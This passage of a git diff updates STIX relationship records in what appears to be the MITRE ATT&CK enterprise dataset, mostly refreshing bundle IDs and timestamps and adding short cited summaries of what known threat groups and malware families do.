             "id": "relationship--771c349e-1b23-41ea-bcab-59bdbd6c935f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ELMER is capable of performing process listings.",
             "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
diff --git a/enterprise-attack/relationship/relationship--773e99eb-0739-42d3-afaa-aff65e86329d.json b/enterprise-attack/relationship/relationship--773e99eb-0739-42d3-afaa-aff65e86329d.json
new file mode 100644
index 0000000000..be242fcc6c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--773e99eb-0739-42d3-afaa-aff65e86329d.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--a2bd8cab-cac2-412c-bce1-8d36dba3df94",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--773e99eb-0739-42d3-afaa-aff65e86329d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
+            "target_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--77c63e89-71fe-47e3-babb-13e7722932ad.json b/enterprise-attack/relationship/relationship--77c63e89-71fe-47e3-babb-13e7722932ad.json
index 84e6db690f..dc43ed54ba 100644
--- a/enterprise-attack/relationship/relationship--77c63e89-71fe-47e3-babb-13e7722932ad.json
+++ b/enterprise-attack/relationship/relationship--77c63e89-71fe-47e3-babb-13e7722932ad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc1ebfe5-2453-45ef-96ab-a5a05ce534d9",
+    "id": "bundle--670fc921-fb8d-4d45-8f81-c9497dee235a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--77c63e89-71fe-47e3-babb-13e7722932ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind obtains the victim's current time.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--77ea5d03-715b-4247-8484-6c1cf2bc7984.json b/enterprise-attack/relationship/relationship--77ea5d03-715b-4247-8484-6c1cf2bc7984.json
index b2b7183a69..1228b55f2f 100644
--- a/enterprise-attack/relationship/relationship--77ea5d03-715b-4247-8484-6c1cf2bc7984.json
+++ b/enterprise-attack/relationship/relationship--77ea5d03-715b-4247-8484-6c1cf2bc7984.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--15006469-a877-44d3-92f7-a1e7f383ad7a",
+    "id": "bundle--313042c3-d606-4574-9269-2b18d670c8f3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--77ea5d03-715b-4247-8484-6c1cf2bc7984",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HALFBAKED can use WMI queries to gather system information.",
             "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
diff --git a/enterprise-attack/relationship/relationship--77f9936d-1ba7-42a8-879d-1a6e90156366.json b/enterprise-attack/relationship/relationship--77f9936d-1ba7-42a8-879d-1a6e90156366.json
index a1aa428911..0a8eb4d3fa 100644
--- a/enterprise-attack/relationship/relationship--77f9936d-1ba7-42a8-879d-1a6e90156366.json
+++ b/enterprise-attack/relationship/relationship--77f9936d-1ba7-42a8-879d-1a6e90156366.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--67785fc2-aacc-40bd-8109-9d0784dace73",
+    "id": "bundle--85650a27-1479-4757-a587-e8c24f0ee848",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--77f9936d-1ba7-42a8-879d-1a6e90156366",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--77fad92a-72ba-44d2-b4cb-a3079fbdb256.json b/enterprise-attack/relationship/relationship--77fad92a-72ba-44d2-b4cb-a3079fbdb256.json
index 8fa0f62e40..dc67d1baf8 100644
--- a/enterprise-attack/relationship/relationship--77fad92a-72ba-44d2-b4cb-a3079fbdb256.json
+++ b/enterprise-attack/relationship/relationship--77fad92a-72ba-44d2-b4cb-a3079fbdb256.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c94927d5-2f05-4f58-bcff-960da700bfad",
+    "id": "bundle--b070e6b6-bec3-48c3-907f-0d267843ca9b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--77fad92a-72ba-44d2-b4cb-a3079fbdb256",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--902286b2-96cc-4dd7-931f-e7340c9961da",
             "target_ref": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
diff --git a/enterprise-attack/relationship/relationship--782da600-bc3b-4dae-89d1-4a79522bed02.json b/enterprise-attack/relationship/relationship--782da600-bc3b-4dae-89d1-4a79522bed02.json
index 918fb60ca2..5217b28a22 100644
--- a/enterprise-attack/relationship/relationship--782da600-bc3b-4dae-89d1-4a79522bed02.json
+++ b/enterprise-attack/relationship/relationship--782da600-bc3b-4dae-89d1-4a79522bed02.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--80269c46-42dd-4aee-b02b-5beb1537fe26",
+    "id": "bundle--56a48436-d8ce-4609-95fb-91be4c66cd1d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--782da600-bc3b-4dae-89d1-4a79522bed02",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware communicates with its C2 server via HTTPS.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--78364654-f94c-4b7b-b5ec-19bedb58ec4f.json b/enterprise-attack/relationship/relationship--78364654-f94c-4b7b-b5ec-19bedb58ec4f.json
new file mode 100644
index 0000000000..3c1875c12a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--78364654-f94c-4b7b-b5ec-19bedb58ec4f.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5a5d0efb-5173-4c83-95f8-426010081a8f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--78364654-f94c-4b7b-b5ec-19bedb58ec4f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used valid administrator credentials to assist in lateral movement.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--785abba4-fdb4-4aad-9049-5a0c748cc965.json b/enterprise-attack/relationship/relationship--785abba4-fdb4-4aad-9049-5a0c748cc965.json
index 2e25b995d2..31c7576a26 100644
--- a/enterprise-attack/relationship/relationship--785abba4-fdb4-4aad-9049-5a0c748cc965.json
+++ b/enterprise-attack/relationship/relationship--785abba4-fdb4-4aad-9049-5a0c748cc965.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--44950593-cd7e-4d9e-b714-a476fa3070b5",
+    "id": "bundle--09608ab4-e734-462d-8266-fdb9639fd8c8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--785abba4-fdb4-4aad-9049-5a0c748cc965",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the ftpUpload function to use the FTPManager:uploadFile method to upload files from the target system.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
diff --git a/enterprise-attack/relationship/relationship--788ca56e-1194-4c5f-a12b-72678390f1ef.json b/enterprise-attack/relationship/relationship--788ca56e-1194-4c5f-a12b-72678390f1ef.json
index 799b7ab61e..c2154c448c 100644
--- a/enterprise-attack/relationship/relationship--788ca56e-1194-4c5f-a12b-72678390f1ef.json
+++ b/enterprise-attack/relationship/relationship--788ca56e-1194-4c5f-a12b-72678390f1ef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--748e1c39-8552-44d9-8f16-e140c6446681",
+    "id": "bundle--ec68c096-3806-4940-bffe-2d678c6d732e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--788ca56e-1194-4c5f-a12b-72678390f1ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx has the ability to enumerate system information.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
diff --git a/enterprise-attack/relationship/relationship--788e8246-d835-42c6-b8b4-7efad31e4a84.json b/enterprise-attack/relationship/relationship--788e8246-d835-42c6-b8b4-7efad31e4a84.json
index 4c5fd520dd..ccdc80f377 100644
--- a/enterprise-attack/relationship/relationship--788e8246-d835-42c6-b8b4-7efad31e4a84.json
+++ b/enterprise-attack/relationship/relationship--788e8246-d835-42c6-b8b4-7efad31e4a84.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9d8eaba1-8fc0-43d1-94d8-06e8a9d69a31",
+    "id": "bundle--1642527a-49cd-4ce5-9adb-7818864f7864",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--788e8246-d835-42c6-b8b4-7efad31e4a84",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Gamaredon Group file stealer has the capability to steal data from newly connected logical volumes on a system, including USB drives.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
diff --git a/enterprise-attack/relationship/relationship--789cf81d-bfc9-4c1a-a34a-57e41981894a.json b/enterprise-attack/relationship/relationship--789cf81d-bfc9-4c1a-a34a-57e41981894a.json
index b370880558..2e4e1c4896 100644
--- a/enterprise-attack/relationship/relationship--789cf81d-bfc9-4c1a-a34a-57e41981894a.json
+++ b/enterprise-attack/relationship/relationship--789cf81d-bfc9-4c1a-a34a-57e41981894a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7ab5c5a3-b114-4100-972c-36e111f2ac30",
+    "id": "bundle--b238681a-0f72-4575-b199-cd227c61886e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--789cf81d-bfc9-4c1a-a34a-57e41981894a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has a command to write random data across a file and delete it.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--78b504a4-2bdd-44dd-b954-a7fa120f1efd.json b/enterprise-attack/relationship/relationship--78b504a4-2bdd-44dd-b954-a7fa120f1efd.json
index 2fac3e0add..5abb703cfc 100644
--- a/enterprise-attack/relationship/relationship--78b504a4-2bdd-44dd-b954-a7fa120f1efd.json
+++ b/enterprise-attack/relationship/relationship--78b504a4-2bdd-44dd-b954-a7fa120f1efd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a2fadb26-27d9-43a8-a14f-fd894c72e8d1",
+    "id": "bundle--ba78bd4f-b169-4405-8906-e45b3ae2f1a0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--78b504a4-2bdd-44dd-b954-a7fa120f1efd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -17,12 +17,12 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 },
                 {
                     "source_name": "Kaspersky Flame Functionality",
                     "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/32855/flame-bunny-frog-munch-and-beetlejuice-2/"
+                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--78e8d9e6-48b7-473f-af94-43f626de7931.json b/enterprise-attack/relationship/relationship--78e8d9e6-48b7-473f-af94-43f626de7931.json
index 273f7d8c78..77205db5e9 100644
--- a/enterprise-attack/relationship/relationship--78e8d9e6-48b7-473f-af94-43f626de7931.json
+++ b/enterprise-attack/relationship/relationship--78e8d9e6-48b7-473f-af94-43f626de7931.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9828d3cf-86d4-410c-83b4-d7827ca6f463",
+    "id": "bundle--c0c3aff8-4360-4419-af13-5a38193e5c8c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--78e8d9e6-48b7-473f-af94-43f626de7931",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A APT28 backdoor may collect the entire contents of an inserted USB device.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--78f237da-f58b-4849-b2ee-cf1f3f7a1a42.json b/enterprise-attack/relationship/relationship--78f237da-f58b-4849-b2ee-cf1f3f7a1a42.json
index 8b1d56780f..47a33c4daf 100644
--- a/enterprise-attack/relationship/relationship--78f237da-f58b-4849-b2ee-cf1f3f7a1a42.json
+++ b/enterprise-attack/relationship/relationship--78f237da-f58b-4849-b2ee-cf1f3f7a1a42.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d8306c44-583b-4aa6-8166-1de7e437ad2d",
+    "id": "bundle--4ce35f17-a86d-427e-9f28-d8ea2c92a3c6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--78f237da-f58b-4849-b2ee-cf1f3f7a1a42",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used OWA account credentials to attempt to regain access to a victim network after eviction.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--79057890-3cd0-4124-8b35-b86db6b4f9d7.json b/enterprise-attack/relationship/relationship--79057890-3cd0-4124-8b35-b86db6b4f9d7.json
new file mode 100644
index 0000000000..f278c29af4
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--79057890-3cd0-4124-8b35-b86db6b4f9d7.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--7c18f99b-c4c5-4e1d-bac1-ca0e61375a85",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--79057890-3cd0-4124-8b35-b86db6b4f9d7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT32 has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks.",
+            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "Volexity OceanLotus Nov 2017",
+                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
+                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7909f5a6-3924-4259-aedd-2e48123f563a.json b/enterprise-attack/relationship/relationship--7909f5a6-3924-4259-aedd-2e48123f563a.json
index 2d35f49b26..29c22eee97 100644
--- a/enterprise-attack/relationship/relationship--7909f5a6-3924-4259-aedd-2e48123f563a.json
+++ b/enterprise-attack/relationship/relationship--7909f5a6-3924-4259-aedd-2e48123f563a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a68e4d43-664a-4af1-8e8f-a4f33fcf8544",
+    "id": "bundle--7c2f57de-0528-4bfe-95f7-9aee75f050f0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7909f5a6-3924-4259-aedd-2e48123f563a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283",
diff --git a/enterprise-attack/relationship/relationship--79106ad4-28d3-4f67-a2c3-116d138ec84a.json b/enterprise-attack/relationship/relationship--79106ad4-28d3-4f67-a2c3-116d138ec84a.json
index 51cfc7311f..c8bbeeb07d 100644
--- a/enterprise-attack/relationship/relationship--79106ad4-28d3-4f67-a2c3-116d138ec84a.json
+++ b/enterprise-attack/relationship/relationship--79106ad4-28d3-4f67-a2c3-116d138ec84a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a7ae1618-12be-482c-a3cd-4b4144f8cbc3",
+    "id": "bundle--a5036d84-2101-42e6-9aff-02322f570c8e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--79106ad4-28d3-4f67-a2c3-116d138ec84a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX allows actors to spawn a reverse shell on a victim.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--797131cf-fef9-4ece-823f-e931393e72f8.json b/enterprise-attack/relationship/relationship--797131cf-fef9-4ece-823f-e931393e72f8.json
new file mode 100644
index 0000000000..2b48c76f0a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--797131cf-fef9-4ece-823f-e931393e72f8.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--aa87a48d-be08-49db-8b43-7d193656546d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--797131cf-fef9-4ece-823f-e931393e72f8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Some  variants use HTTP for C2.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7985b09e-9241-489c-a0f2-45a6f5c782f1.json b/enterprise-attack/relationship/relationship--7985b09e-9241-489c-a0f2-45a6f5c782f1.json
index 49da740351..16b8488e6f 100644
--- a/enterprise-attack/relationship/relationship--7985b09e-9241-489c-a0f2-45a6f5c782f1.json
+++ b/enterprise-attack/relationship/relationship--7985b09e-9241-489c-a0f2-45a6f5c782f1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--17cc6aaa-e483-4bef-8af0-1fa22860a58d",
+    "id": "bundle--b6ba0e12-6fa8-47a4-b3ea-b9c631d4d3ec",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7985b09e-9241-489c-a0f2-45a6f5c782f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "pngdowner deletes content from C2 communications that was saved to the user's temporary directory.",
             "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
diff --git a/enterprise-attack/relationship/relationship--79934567-99e6-4184-8b04-717a1b401006.json b/enterprise-attack/relationship/relationship--79934567-99e6-4184-8b04-717a1b401006.json
index f8b8a40fd8..75e7d377f5 100644
--- a/enterprise-attack/relationship/relationship--79934567-99e6-4184-8b04-717a1b401006.json
+++ b/enterprise-attack/relationship/relationship--79934567-99e6-4184-8b04-717a1b401006.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c73e735b-b970-49ec-9cc5-5313dd7b2a31",
+    "id": "bundle--94c0a572-3697-49f6-945d-c4cf6bb4306a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--79934567-99e6-4184-8b04-717a1b401006",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
             "target_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
diff --git a/enterprise-attack/relationship/relationship--79cd2ec8-068c-4a7a-8133-1855381d3bd3.json b/enterprise-attack/relationship/relationship--79cd2ec8-068c-4a7a-8133-1855381d3bd3.json
index 973d8e646a..6cb011c303 100644
--- a/enterprise-attack/relationship/relationship--79cd2ec8-068c-4a7a-8133-1855381d3bd3.json
+++ b/enterprise-attack/relationship/relationship--79cd2ec8-068c-4a7a-8133-1855381d3bd3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f4a39e0-69c4-4458-bb02-fa2f10e2659f",
+    "id": "bundle--f7ed3aec-30b1-49e5-9f8c-6859825febb0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--79cd2ec8-068c-4a7a-8133-1855381d3bd3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
diff --git a/enterprise-attack/relationship/relationship--79ecf1f6-a17d-4374-a84c-811669e39261.json b/enterprise-attack/relationship/relationship--79ecf1f6-a17d-4374-a84c-811669e39261.json
index cb2ced9ef2..ad7f5d79f9 100644
--- a/enterprise-attack/relationship/relationship--79ecf1f6-a17d-4374-a84c-811669e39261.json
+++ b/enterprise-attack/relationship/relationship--79ecf1f6-a17d-4374-a84c-811669e39261.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ca37c98a-250c-44d2-9f03-a16122f91da7",
+    "id": "bundle--b002c21c-a361-4198-aefa-208bdc11fd59",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--79ecf1f6-a17d-4374-a84c-811669e39261",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "To establish persistence, SslMM identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
diff --git a/enterprise-attack/relationship/relationship--79f0712b-2cb1-47df-8ea1-26fb1502a831.json b/enterprise-attack/relationship/relationship--79f0712b-2cb1-47df-8ea1-26fb1502a831.json
index 072da20292..3b57baf896 100644
--- a/enterprise-attack/relationship/relationship--79f0712b-2cb1-47df-8ea1-26fb1502a831.json
+++ b/enterprise-attack/relationship/relationship--79f0712b-2cb1-47df-8ea1-26fb1502a831.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c88c3e4f-8bee-4a99-8898-1d5a5e28eea1",
+    "id": "bundle--fb5712a2-3c6b-4158-a68d-0d99d04c6e5f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--79f0712b-2cb1-47df-8ea1-26fb1502a831",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
